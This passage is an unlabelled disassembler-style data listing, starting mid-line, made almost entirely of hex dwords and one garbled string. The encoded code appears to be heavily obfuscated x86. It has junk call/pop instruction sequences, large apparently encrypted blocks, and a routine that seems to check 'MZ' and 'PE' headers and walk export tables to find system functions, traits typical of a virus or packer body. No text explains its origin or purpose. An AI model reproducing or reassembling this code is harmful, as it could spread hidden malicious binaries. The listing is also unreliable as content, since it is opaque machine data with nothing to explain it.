3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 17C35747h, 0FF327812h, 35167DB5h, 56006A09h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 1B5B0AE7h, 30B9B18Dh, 36075F7h, 3522CDBDh, 0BA665209h dd 61589F81h, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0A357CC3h, 9D799C01h dd 12E99Dh, 273A0000h, 0A67907EFh, 60C5DAC1h, 0BB2858F4h dd 35467DAh, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E1BEC0C3h, 7654ECF7h, 6E860h, 0F36D0000h dd 0C4CD4543h, 0B529615Ah, 93517C9h, 0BEE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 9CA73AADh, 8D899127h, 9350BE5h, 6019D01h, 5C8B0935h dd 0E8550C24h, 0 dd 3EED815Dh, 8B093896h, 350EC985h, 7D858909h, 8B093516h dd 35057D85h, 39858909h, 8B09351Fh, 35262185h, 4D858909h dd 0C6093517h, 35179D85h, 85C70009h, 9387D61h, 0 aNeC8Ig db '█┘е√8',9,'┴┐╦',0 align 4 dd 0C3C0335Dh, 0C8D0Fh, 800F0000h, 6, 12598D89h, 85090935h dd 9352475h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0AEC35040h, 2E065E78h, 0BC1CB016h, 12FF74h, 0CE9h dd 1B2A3B00h, 8C92392h, 0ACD8CF46h, 58F64BCh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0A0C35242h dd 0D75A78EAh, 6A04C483h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9884C352h, 0A0B4D133h dd 0FE861F9h, 0B000000h, 0EBFABB88h, 0B00F54D3h, 43D28A3Fh dd 8D89B89Ah, 93525E1h, 7CE0805Fh, 6EE1C781h, 14E80000h dd 0A4000000h, 6B8A3E68h, 0B5876DFDh, 7EC0B275h, 509AAB8Ah dd 0BC1493Dh, 3510158Dh, 77685809h, 8900001Bh, 35043585h dd 8D8B5A09h, 9350BE1h, 0B58937FFh, 9352461h, 0C18D8B5Eh dd 81093505h, 1171A9C6h, 0CE841h, 8A8A0000h, 5A73E43Fh dd 5DC50970h, 95895619h, 935064Dh, 36C68159h, 0BB4C16A2h dd 6F653357h, 5F44F681h, 12E97DF1h, 0E2000000h, 0E30BA06h dd 45B7FFCDh, 0E6D8B949h, 0B925BB99h, 840F560Ch, 5, 3DC98166h dd 89078F6Ch, 351025BDh, 1EF8309h, 4F4F4FF9h, 83DE8B66h dd 850F01EAh, 1Dh, 23818503h, 31E90935h, 3D000000h, 45C2EE14h dd 2238E396h, 61E1405Dh, 92111266h, 35BD2991h, 0E9093505h dd 0FFFFFF5Ch, 9651C7FAh, 0C85B2117h, 7AA52882h, 746DD8C6h dd 0EE546464h, 83E9h, 52515300h, 5C8B5756h, 81661C24h dd 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch, 45503B81h, 57850Fh dd 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h, 207B8B56h dd 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h, 1C245C8Bh dd 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h, 43E87503h dd 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h, 24440386h dd 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h, 48E9CA8Bh dd 50000001h, 54000000h, 58000000h, 5C000000h, 60000000h dd 64000000h, 68000000h, 6C000000h, 0B0000000h, 0B4000000h dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 38h dup(0) dd 0F3000000h, 0EB00577Eh, 8D00A050h, 3898C585h, 8D8BF509h dd 9350D0Dh, 9A058589h, 0BE660938h, 85C6AE3Dh, 935179Dh dd 759D8B54h, 0E809352Ch, 4, 0EE626829h, 4850Fh, 60570000h dd 66505B61h, 448BD18Bh, 0B9660424h, 8B2E67h, 8A515250h dd 310F59F9h, 5ACE8B66h, 24448958h, 0CE8B6604h, 79852958h dd 0FF09351Ch, 35167DB5h, 0CDB50309h, 8109350Ah, 7A4862E7h dd 70858D79h, 8909387Bh, 352EBDB5h, 3BBA6609h, 66D0FF55h dd 89FDDBBFh, 389A0985h, 0E9CE8B09h, 45h, 3820Fh, 8B660000h dd 0B58B56F9h, 9389A05h, 85830689h, 9389A05h, 60C35E04h dd 98C5B58Dh, 0FEB0938h, 0FF006A56h, 995FF36h, 5E09389Ah dd 8304C683h, 0EC75003Eh, 0BA66C361h, 8F0F0F05h, 1, 0BD858DF9h dd 0F09389Ah, 681h, 98D8B00h, 0BA093528h, 1FC6CBB3h, 0F3D8589h dd 0E5E90935h, 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah dd 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h dd 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh dd 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h, 0A335375h dd 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh, 0B6F360D6h dd 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h dd 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h dd 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh dd 0E0A1Eh, 0A766C1A8h, 43F2FD54h, 525B2890h, 0C56E9h dd 9E7C6800h, 0D9E90938h, 68FFFCE2h, 9389F83h, 0FCE2CFE9h dd 0A07568FFh, 0C5E90938h, 68FFFCE2h, 938A147h, 0FCE2BBE9h dd 0A1B868FFh, 0B1E90938h, 68FFFCE2h, 938A25Fh, 0FCE2A7E9h dd 0A38168FFh, 9DE90938h, 68FFFCE2h, 938A482h, 0FCE293E9h dd 0A56568FFh, 89E90938h, 68FFFCE2h, 938A622h, 0FCE27FE9h dd 0A6D068FFh, 75E90938h, 0E6FFFCE2h, 8A4E4F74h, 0CF910A97h dd 0A0584550h, 0CA8E0F88h, 5E554653h, 0D5C45D2Dh, 7E1B10C8h dd 0D8C55B1Dh, 0B8213DC3h, 3A1EDE3h, 12FDA5B9h, 159B20ADh dd 8E6673EBh, 5C97001Ch, 71E812B6h, 41507A68h, 0A2441C36h dd 5643D852h, 6E90369Bh, 9C10E3F0h, 58DC1780h, 23115E96h dd 763C6226h, 721C3641h, 1A16886Ch, 5626207Dh, 0F5A9AE72h dd 54467A95h, 8473A7C5h, 5E69FCF8h, 7A1A2358h, 566A82E5h dd 0EF0BB9D0h, 22AA44BCh, 0BCDD5466h, 0C0998535h, 0AB9132E0h dd 0C823B145h, 0DC1502E8h, 257DE28Ch, 0EF01E1A4h, 39C9004h dd 4D4AE69Ah, 50AF16A6h, 78E51300h, 7C65F98Ch, 0DCC5591Fh dd 128FA315h, 0B12E40BAh, 0FD4EBE45h, 0CFC86417h, 0EAB1DCCEh dd 56B69285h, 15000005h, 43AE2B47h, 88445DD1h, 28B6FD76h dd 1C3641A2h, 16DE1096h, 0BE358D41h, 7C29196Bh, 3F561AA6h dd 33D9C28Dh, 0BD6530C3h, 0E9D311A6h, 0DD1C35FBh, 13BB35BBh dd 31E8ACDh, 0A8367E15h, 1300E122h, 6E5E9016h, 0D849B10Eh dd 0FB3EC0DFh, 4D645C71h, 9F1ED6A6h, 109AF11h, 0DE9E7013h dd 0C52EEFFBh, 0B02D42BBh, 0C531BF41h, 8AC38470h, 0DD9285E4h dd 45h, 0C39B2EAEh, 253DBF0Bh, 63B240B4h, 99150372h, 6A4CDC17h dd 9A130111h, 67D91885h, 9225CCC9h, 0A9E68173h, 0D1FBA9E5h dd 0C5130111h, 967ED323h, 852958B5h, 0CD0F92h, 0FBB0000h dd 11DEBD1h, 3DB9DF13h, 0AE2B4796h, 14859C1Eh, 41A02AB8h dd 12941C36h, 70E95BE2h, 0FCF7E279h, 32567678h, 3641466Ch dd 589C421Ch, 0CECB67D9h, 24BDB123h, 41B2E577h, 0AE501C36h dd 59D323B0h, 90F0DCC5h, 0ED0192CEh, 0A58272DBh, 4FA23F33h dd 631C11ABh, 363F773Dh, 836D731Ch, 0FDD5E073h, 666C13D1h dd 3E601503h, 7F25695Dh, 13011935h, 0BC47AF31h, 79D31E9h dd 0BCCCDD9h, 29D3FB9Dh, 6CF4A930h, 0F400E4F5h, 0E9E9A0D2h dd 91A604Ah, 69CB0000h, 94894F4Ch, 57C8900Dh, 978F514Ah dd 4EE79902h, 3049524Bh, 0C5D6C35Ah, 207D1813h, 0C4D9C658h dd 0E6B7203Ch, 6E548A42h, 6A12FDA3h, 2E479A39h, 0F26EF2ABh dd 2E13B8E5h, 0BF0BC39Bh, 41EFD50Bh, 0C5EB1C36h, 7174A331h dd 66881503h, 367C2266h, 32130111h, 25C948ACh, 9F25485Dh dd 37BF1F5Ah, 10127A9h, 9426E813h, 0AAF7FF98h, 0D239DBAh dd 0E0138CA0h, 0DD5F925Ch, 3A147919h, 0E4539285h, 34000000h dd 0E5802B47h, 0D87D08C4h, 4DF100EEh, 0CF22BFB3h, 3E37A94Dh dd 0D6B2589Bh, 358702C8h, 0D8E2001Ch, 0CC1C3586h, 0FEF6F8CAh dd 35861D70h, 4BE3DD1Ch, 91B45E20h, 32BCBA43h, 47B93DBFh dd 6BEDAE2Bh, 7865FAF7h, 0A5F07B76h, 0BCC3E1EDh, 30150314h dd 346A1EAEh, 1300C38Eh, 0BB90648Ah, 0DC1992Ch, 0CC750AD7h dd 7DF40A0Bh, 0C03A925Ch, 0B12E40A9h, 839A5E3Fh, 5BCCE16h dd 8221E9A1h, 81398h, 3196C400h, 6079F46Ch, 2FAAC53Bh dd 6572EA6Eh, 30A9C038h, 2FDBB06Bh, 86FAA336h, 2DB3E8EDh dd 83F5A633h, 7A9F2EFh, 0A2B319C7h, 0F6A712FDh, 0AB2E47D5h dd 93396723h, 871C3641h, 0EB89561h, 419E24BAh, 0BE981C36h dd 4C87E166h, 30C4EAD8h, 9935A2BEh, 6A8A0F27h, 0EFE9998Dh dd 404D123Dh, 479B42B2h, 0D143AE2Bh, 6F57445Dh, 29C8D14Dh dd 66DF4FA7h, 74583083h, 27CAD74Ah, 0F7AD51A5h, 15035544h dd 0D06EAE30h, 0D9C91F14h, 5CD0982Bh, 0DE398321h, 0AB2D2438h dd 0C42AAE45h, 5D7AF608h, 0DF128FA3h, 0AFF5995Dh, 1D05F15Ch dd 6B61698h, 39A69853h, 6C568CCCh, 681D6E3Bh, 0C54CA846h dd 17B76F3Ah, 46329789h, 89456B16h, 715B8945h, 632445C4h dd 43F3D3C0h, 0DC02C0E9h, 678F0C22h, 3B6079F5h, 0B430A9C5h dd 0E18ED854h, 21C0AA49h, 0D2000007h, 0A65A4360h, 0CB8D0E8Bh dd 8C544954h, 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h dd 0DCF977E9h, 0BC2539BFh, 0FFA5E9DFh, 12FDA1B5h, 479F24B1h dd 9C1EAE2Bh, 8C0D2582h, 800B9262h, 0E5F46D35h, 5A1DC30Bh dd 5815036Dh, 2AC9CE66h, 0FEA04EA6h, 1FF7C29Dh, 0AAADF1AFh dd 3F610BD9h, 0E8F16D8Fh, 6901FBB3h, 7C465C70h, 781C288Dh dd 100C7E76h, 79834787h, 0E1EBF9E0h, 0D31C288Dh, 6BFF87D4h dd 9ED2F07Dh, 0F3DAB28Fh, 62925CD5h, 8D4550DBh, 0A3418D41h dd 1C288519h, 1A879B0Dh, 659B55D7h, 9927CFCAh, 15011C3Eh dd 0AE507C22h, 4BCD24B1h, 61FDFFABh, 0C15D2378h, 3B8E19D8h dd 0C6356B63h, 320BCE21h, 5EBE38ACh, 54DFE99Eh, 64F6Ah dd 75520000h, 24BDB028h, 736E0177h, 19BEB62Ah, 7465FC84h dd 6B1F6C27h, 42B6E7F2h, 69EFAC29h, 2FB1EAF7h, 53F5A633h dd 0A05F657Bh, 4A5B12FDh, 0C39B2E89h, 0D8E2D50Bh, 0DEE0150Eh dd 0EFA55146h, 47DBE5E9h, 6616725Ah, 0FBFE41BBh, 3C865C78h dd 3812FDE8h, 0F7693EB6h, 8935E7Bh, 0BBE9E5BDh, 0BCB14D4h dd 0CE3EA648h, 0CFE9ABA8h, 5DE3A24h, 0AD8F0000h, 50CD9308h dd 938C5449h, 4BE39506h, 928B4D4Eh, 0EC9D9607h, 992071Eh dd 0E4B9DC57h, 895021Ch, 0DAC3DC50h, 0C20896F6h, 0B612FDA0h dd 9B2EA625h, 0D1D50BC3h, 45150ED9h, 9D912BA3h, 4DE19704h dd 87129D54h, 61FDFFCFh dd 0A6824856h, 707612FDh, 5F1737Eh, 3D8C4B59h, 6E700BD6h dd 95101E5Eh, 6AACF95Bh, 8507EAF7h, 0DDDF8B6Bh, 0C745841h dd 0A819CFEEh, 0FCD125D5h, 33CDE884h, 7D479D38h, 791C3638h dd 0ED7A7977h, 14CA02DAh, 15033FE5h, 504DE3DDh, 29D71FA1h dd 35235F87h, 37BAF2D3h, 5374Fh, 6D4AE800h, 2CB5A830h dd 6B76E96Fh, 21B6AE32h, 6C6D047Ch, 7317642Fh, 3ABEDFFAh dd 71E7B421h, 47B9E2FFh, 3BEDAE2Bh, 9F674D93h, 326312FDh dd 0AE2B4791h, 445DD143h, 0DAFF7688h, 16FFE3E6h, 0D61E1CA9h dd 8B536601h, 0E8E40A97h, 2DEB3BAh, 0AC476915h, 0A19A1Ch dd 1A0A5B13h, 859E0C41h, 3A5B92h, 2E2C0000h, 0BF0BC39Bh dd 0A9C6233Dh, 0AD43C52Ch, 726CBB49h, 0E901503h, 0B3243CBEh dd 0B938BC40h, 111A52Bh, 15FF6613h, 8529D934h, 0E88E92h dd 88380000h, 5E29F1D6h, 8827CF3Ah, 43AE2B47h, 96031D9Fh dd 6475EC5Eh, 0B3EC1868h, 9CE12733h, 0CB67D958h, 0BDB123CEh dd 0B2E57724h, 501C3603h, 0CD24B1AEh, 3D31AB4Bh, 0ED81F7A4h dd 48E6D8F4h, 0D024A84Bh, 1BF3C651h, 3172EDB3h, 52261503h dd 83FBD4D8h, 920F20E9h, 2509925Ch, 65D5425Dh, 95617104h dd 0EFDFB702h, 0CCC480B1h, 5A72740Bh, 35534E2Eh, 0BD1A5C76h dd 3EB638A1h, 574455CCh, 0D51188A1h, 0E9A0E68Bh, 15E7CF52h dd 0C6000004h, 0EA6E2F94h, 0AF316A77h, 7825B0h, 0AA2E6F68h dd 0BE7526B3h, 0B5243DCDh, 0DEFB70E8h, 0B8253BBDh, 98011DE3h dd 63814D03h, 12FD9E59h, 477B404Dh, 5B23AB2Eh, 0D3810522h dd 4E742A41h, 4A1C35A0h, 0B9B44AA4h, 81F7D420h, 0E6D8F4EDh dd 0C5B71F4Ah, 0E53464F6h, 9064E80Bh, 9B2E18BBh, 4AD50BC3h dd 0B8150372h, 0E0DC9D08h, 14EA6571h, 0CA787C1Dh, 793FCD24h dd 3A130107h, 0E6F36A94h, 186D890Bh, 0E57272Ch, 4FDE4DD0h dd 0CEFF9F57h, 9992853Ch, 0C7h, 47B915FAh, 0C044AF2Ah dd 36419822h, 0EA0A8C1Ch, 10E3FC70h, 0DD14859Ch, 3641384Fh dd 4974E81Ch, 363E319Bh, 6D83251Ch, 2BB4A830h, 82683BC8h dd 0BB3694FBh, 0EAE20C14h, 320B9B4h, 64395F15h, 74583083h dd 0CC90C82Eh, 329A3C0Bh, 0CDCA6456h, 6ED9E301h, 0CBCD1C33h dd 21B8B12Bh, 6C6D047Ch, 0A1061678h, 321CC7E9h, 314h, 693297C5h dd 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h, 0C9602A5Fh dd 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh, 0FD9D743Eh dd 60637012h, 0F2AB2E47h, 0B516843Ch, 2627CB61h, 86A6EC53h dd 0E90DE3D6h, 0EEDEFB77h, 208CE98Eh, 37BFD05Eh, 3C146C62h dd 4F919B4Dh, 154BF202h, 41A12BB9h, 13951C36h, 0CAF569E3h dd 3641AE14h, 0C804AA1Ch, 3641B01Ah, 0EC02A41Ch, 29F9305h dd 726EE999h, 41428816h, 0B0361C36h, 2EE6B144h, 5531009Eh dd 0A1471503h, 1D89E77Dh, 590AECEh, 1BD5C45Dh, 0FBE2EDB3h dd 0ECA06802h, 0C40CB6h, 0EE60878h, 28B33E60h, 2709979Dh dd 4C84F754h, 0D31DBAB2h, 1F33E5FBh, 21C770D9h, 541F13ADh dd 0D12A3CEBh, 0B905E64h, 24C0D955h, 96ABAF88h, 31A48E15h dd 0E2000002h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h dd 7A415A7Fh, 9908901h, 4257CC94h, 0C89A759h, 4C55C98Fh dd 6F35594Fh, 12FD9C45h, 472F9441h, 8AE3802Bh, 0D964580Ah dd 444FDC17h, 0BBA2408Ch, 0BB1502ACh, 3512FE03h, 0E3138CB2h dd 70F2AB2Dh, 0C59D28D9h, 368DB09h, 1C4C0BCEh, 5D01AFA6h dd 0A02CC2B2h, 250CB6ECh, 0E6081C36h, 7624BA0Eh, 0A5A0B80Fh dd 0D9D64A12h, 189C5742h, 57991BD6h, 0E0BA6977h, 983E5874h dd 23FBCE59h, 0B09FDFABh, 36C2FBB3h, 719A74Fh, 0FB5F52DEh dd 4BE7D9F5h, 978B4D4Eh, 3A5FD6E8h, 0B32122A8h, 5E90165Fh dd 2152D486h, 402AC9A6h, 174h, 9923725h, 0DEBFDA57h, 398051Ah dd 0A7F4E57Dh, 0FCA13831h, 0A9C04A3Fh, 7EF56B30h, 0A0BE425Bh dd 7AF66A33h, 4488405Dh, 0FD9B149Eh, 40831012h, 2586AD15h dd 35BDA8C1h, 0C6D34FC1h, 3D15A02Bh, 0FAC5391h, 50201503h dd 8FF2E89Bh, 0B5CEC222h, 6D3A6F53h, 0F66C31BFh, 2CE4AF54h dd 602F02A0h, 0A3450BCDh, 0CC3FE57Bh, 3BC5A4C3h, 0B63AB924h dd 28E0B33Eh, 460BFEA4h, 0C7E95C11h, 3C149F2Ch, 20BC5290h dd 0AE306347h, 17809C1Eh, 61EA086h, 0DE8B316Fh, 597F6336h dd 1CD85C97h, 0F218EA2h, 0C8885C92h, 0D5A29D95h, 0C6644Eh dd 0C5770000h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h dd 0EAD00EBEh, 0DE12FD9Bh, 2B470EADh, 0EDB843AEh, 99F59935h dd 578D0827h, 1C36416Dh, 21AF4769h, 150352F2h, 0A0ECE006h dd 130B802h, 0D42AAC13h, 0E1B63E5Bh, 0F3DBB306h, 0D9C8F1ADh dd 7083250Bh, 267760FCh, 3C31BEB2h, 18A84BA5h, 47483884h dd 857064C1h, 35ABF0E9h, 20B9B039h, 52A14FD1h, 0A25146DEh dd 887361B2h, 9C920B94h, 3CCDF9E4h, 0B541B8D4h, 0A98273Bh dd 0C0C79CC0h, 8F627FF0h, 0BF31B70Dh, 6673ED0Fh, 66ED098Bh dd 0F7Ch, 0EB15CD00h, 0DC5D6570h, 0ACBC0BEEh, 0AC57C135h dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 47C3685Dh dd 4890000h, 5E08924h, 4, 8704E883h, 685C2404h, 4739h dd 50242C89h, 405E089h, 2D000000h, 4, 5C240487h, 0BD240C89h dd 6F844777h, 241CF755h, 0E5C1455Dh, 3FED8104h, 54FE82ECh dd 81240C8Bh, 4C4h, 0BE565500h, 4B2A05F9h, 4247429h, 8418F5Eh dd 0F9084181h, 0FF4B2A05h, 83592434h, 2C8B04C4h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 0D696E95Ch, 0FABEFFFCh dd 5AF5F210h, 0B8885E62h, 938A7BBh, 0E0FFC503h, 34AB3276h dd 4D8A77Ch, 68B8BD90h, 76935EB7h, 6E8h, 26B26B00h, 5847CD46h dd 6BB6C081h, 0D2810000h, 575DB881h, 0BEh, 8B666000h, 11E8D8h dd 6FF60000h, 48294E6Fh, 0B11364C1h, 63666047h, 66C4405Ah dd 5E8B70BEh, 303C8B61h, 1523BA66h, 0AB6CEF81h, 0E5BB3958h dd 816DDA57h, 0D629FF7h, 0B9665033h, 81596F78h, 33C573EFh dd 0E5C3BA78h, 3C890FDEh, 0E8CF8B30h, 12h, 0C251DB39h dd 0D6B6EAFEh, 0C1AD8486h, 0F98DF397h, 9FB363FDh, 0F3EE815Bh dd 0E94EDE07h, 6, 0D518B8D7h, 0C681797Ch, 4EDE07EFh, 0FBE88060h dd 38F0Fh, 0EB800000h, 0FE8161D8h, 0FFFF9528h, 24850Fh dd 0F8600000h, 8E9h, 0DC3B0100h, 9304A602h, 1CE96167h dd 0E7000000h, 20333945h, 0E88CB8ABh, 832B97C9h, 0E9FCE455h dd 0FFFFFF5Dh, 0BE9C90DBh, 0E94330A5h, 75h, 0D88C6660h dd 840F04A8h, 35h, 0B5FF016Ah, 9350EC9h, 7B70858Dh, 0D0FF0938h dd 26958589h, 0FE8B0935h, 680CEFC1h, 20040000h, 26A006Ah dd 0D6857h, 95FF0001h, 9352695h, 32E9h, 9D85C600h, 56093517h dd 0C530DF68h, 7DB5FFA9h, 8D093516h, 387B7085h, 89D0FF09h dd 3526CD85h, 0D5858D09h, 50093531h, 56A206Ah, 0CD95FF56h dd 61093526h, 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah dd 0D2D41CA4h, 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h dd 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h, 46716200h, 0A3EA1A00h dd 0D5h, 0C9199C00h dd 470000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0D06E9C3h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 61272CC3h, 4AE8B7ACh, 0BD83A2FEh, 9351C19h dd 15850F00h, 0B8000000h, 0 dd 95B5760h, 352615BDh, 4C26109h, 0D8BF0F00h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 523554C3h, 90BB6626h, 0A58D8B90h, 83093506h, 3526A1BDh dd 9750009h, 3079BD83h, 74000935h, 8B535013h, 4D0B8C0h dd 9D8D0000h, 937B20Ch, 585BD3FFh, 3079BD83h, 74000935h dd 0B8535011h, 4D0h, 0B1599D8Dh, 0D3FF0937h, 9589585Bh dd 9350F69h, 6A5BB3h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 1F7500C3h, 3BF281B5h, 8B0AC57Ch dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8D61CD90h, 38AA0B85h, 0E5850109h, 50093529h dd 2890Fh, 0D18B0000h, 66240489h, 8D5A6EBFh, 38A9C885h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0F51F977h, 505FDBB7h, 5E8h, 2E28B500h, 0B9661AC0h dd 895BC697h, 0CA8B2404h, 0B5D95FFh, 0BF0F0935h, 24448BD0h dd 81665604h, 5A6C11D7h, 0A9F38589h, 0EF810938h, 4E7EBF01h dd 3840Fh, 0B70F0000h, 24448BD8h, 0CB8B5008h, 785895Bh dd 0F0938AAh, 8B66CAB7h, 49BD83CFh, 9351Bh, 179850Fh, 0DE80000h dd 0D0000000h, 615E6D8Ah, 44C325C5h, 0A7FEC971h, 0BE8h dd 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0C3D958Bh, 5F590935h dd 179D85C6h, 6A470935h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0C95C356h, 0E9B96805h dd 0E06C55BBh, 0BE8h, 47CD4600h, 0CE1B464Ch, 9BC9940Ch dd 4A1B589h, 81590935h, 0EE10A0D9h, 4E80Dh, 0A7D20000h dd 10E8D49Ah, 59000000h, 46C3DF4Dh, 0B4195B80h, 0C64621E8h dd 0BF8F149Ch, 27AF7838h, 5056505Fh, 10E952h, 1A380000h dd 0C8BE4970h, 11B0416Fh, 0B1A1EBA0h, 310F3B05h, 10E8h dd 5B225600h, 1E08F1F3h, 7C58283Fh, 0F7426E92h, 585A5B17h dd 24448B5Fh, 55B96604h, 0E8008B82h, 7, 78121731h, 0BA53D732h dd 7CC6D24Ch, 2444895Fh, 5E804h, 0F0070000h, 6650E44Eh dd 590D0AB9h, 0FFFA8B58h, 35167DB5h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7177F341h dd 0FE8B66BAh, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0B634C0C3h, 0BE9h, 64AAD500h dd 9D164542h, 83660004h, 5E8D0FFh, 0D3000000h, 6CBE851Bh dd 4159D8Bh, 895A0935h, 351B4985h, 45858909h, 8309351Bh dd 352A85BDh, 850F0009h, 11Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0EC35545h, 0DA9599B8h, 0B093BF31h dd 0D38166F3h, 8B6673E9h, 9D85C6FEh, 47093517h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B5C35747h, 26098D0Bh dd 0BD8B0935h, 9350121h, 4E8h, 0FB5E200h, 0EE8608Ah, 2A000000h dd 0D736DD1h, 3F244548h, 0B19E241Eh, 5F5E5064h, 0A723BB66h dd 98B95061h, 8B2AFB21h, 0B5042444h, 0BB008B66h, 75125246h dd 4244489h, 8958D08Bh, 3528598Dh, 7DB5FF09h, 6A093516h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 9167C353h, 307695Fh, 0CE8h, 0C85B2100h, 7AA52882h dd 746DD8C6h, 5BCE8B64h, 7B70858Dh, 0D0FF0938h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0AC35343h, 34455887h dd 80FDE565h, 516097E2h, 615BB8B6h, 2A858589h, 0BD8B0935h dd 9351C39h, 2BD9BD83h, 0F000935h, 0B485h, 25958B00h, 0C6093524h dd 35179D85h, 8D035609h, 9351261h, 33F8D568h, 37CBBF9Ah dd 348111F7h, 2C95EC24h, 0D181664Eh, 0B5FF65B6h, 935167Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9FC35242h dd 43DE2110h, 80D7AF86h, 858D38D3h, 9387B70h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C5C35242h, 0D6D9D0EDh dd 0C810FB7h, 0F000000h, 683h, 0E98D2900h, 0E909351Dh dd 8, 33683F5Eh, 0C973E9A1h, 6660D0FFh, 0A1AFC681h, 875BBB66h dd 0D9858961h, 3109352Bh, 3503D98Dh, 9D85C609h, 6C093517h dd 12E9h, 3C9EA900h, 0F9FC9411h, 93C59F6Eh, 95E7AA56h dd 897B7A98h, 35309995h, 4E809h, 70830000h, 0F0BFDB05h dd 506DF980h, 5E9h, 0B995600h, 448B9301h, 0DE80424h, 91000000h dd 7B8CF9FAh, 5F668441h, 17213B54h, 8B5A48B5h, 0CF8B5300h dd 24448959h, 6E95104h, 0AE000000h, 0CE88687Eh, 815859A3h dd 0FEAB12CBh, 0C9B5FF0Fh, 0E809350Eh, 6, 0F4579B2Fh, 8D29E2B1h dd 93526D1h, 98858D5Bh, 8B093538h, 6AD0FFD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0BD9DC351h, 0B5C5F186h, 305B692Bh, 8960CA8Bh, 351C798Dh dd 85896109h, 938A9F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0D1C35747h, 37BA9782h, 29F5BB49h, 352B89BDh dd 89046A09h, 352B659Dh, 72826809h, 481F3CAh, 359D7E24h dd 59BD8B0Ch, 68093511h, 0C02C88C9h, 81DE8B66h, 77372404h dd 6A3FD4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0EE44DAC3h, 0C135BD32h, 0D01BD0Bh, 6A0935h dd 27D1BD8Bh, 95FF0935h, 9350451h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 9DC35343h, 858967B6h, 938AA03h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1C35242h dd 66FADC13h, 89006AE5h, 35061585h, 4E809h, 0 dd 8E90001h, 0EF000000h, 0A9F0D8D3h, 5000705Bh, 448BCC8Ah dd 890F0424h, 17h, 0AE95250h, 0FB000000h, 7B7E1FEh, 75B8AA71h dd 52310FC7h, 8B585A5Fh, 24448900h, 8B665704h, 66585FD0h dd 4650C181h, 287B950h, 4892F50h, 53006A24h, 3E8h, 0C35B2000h 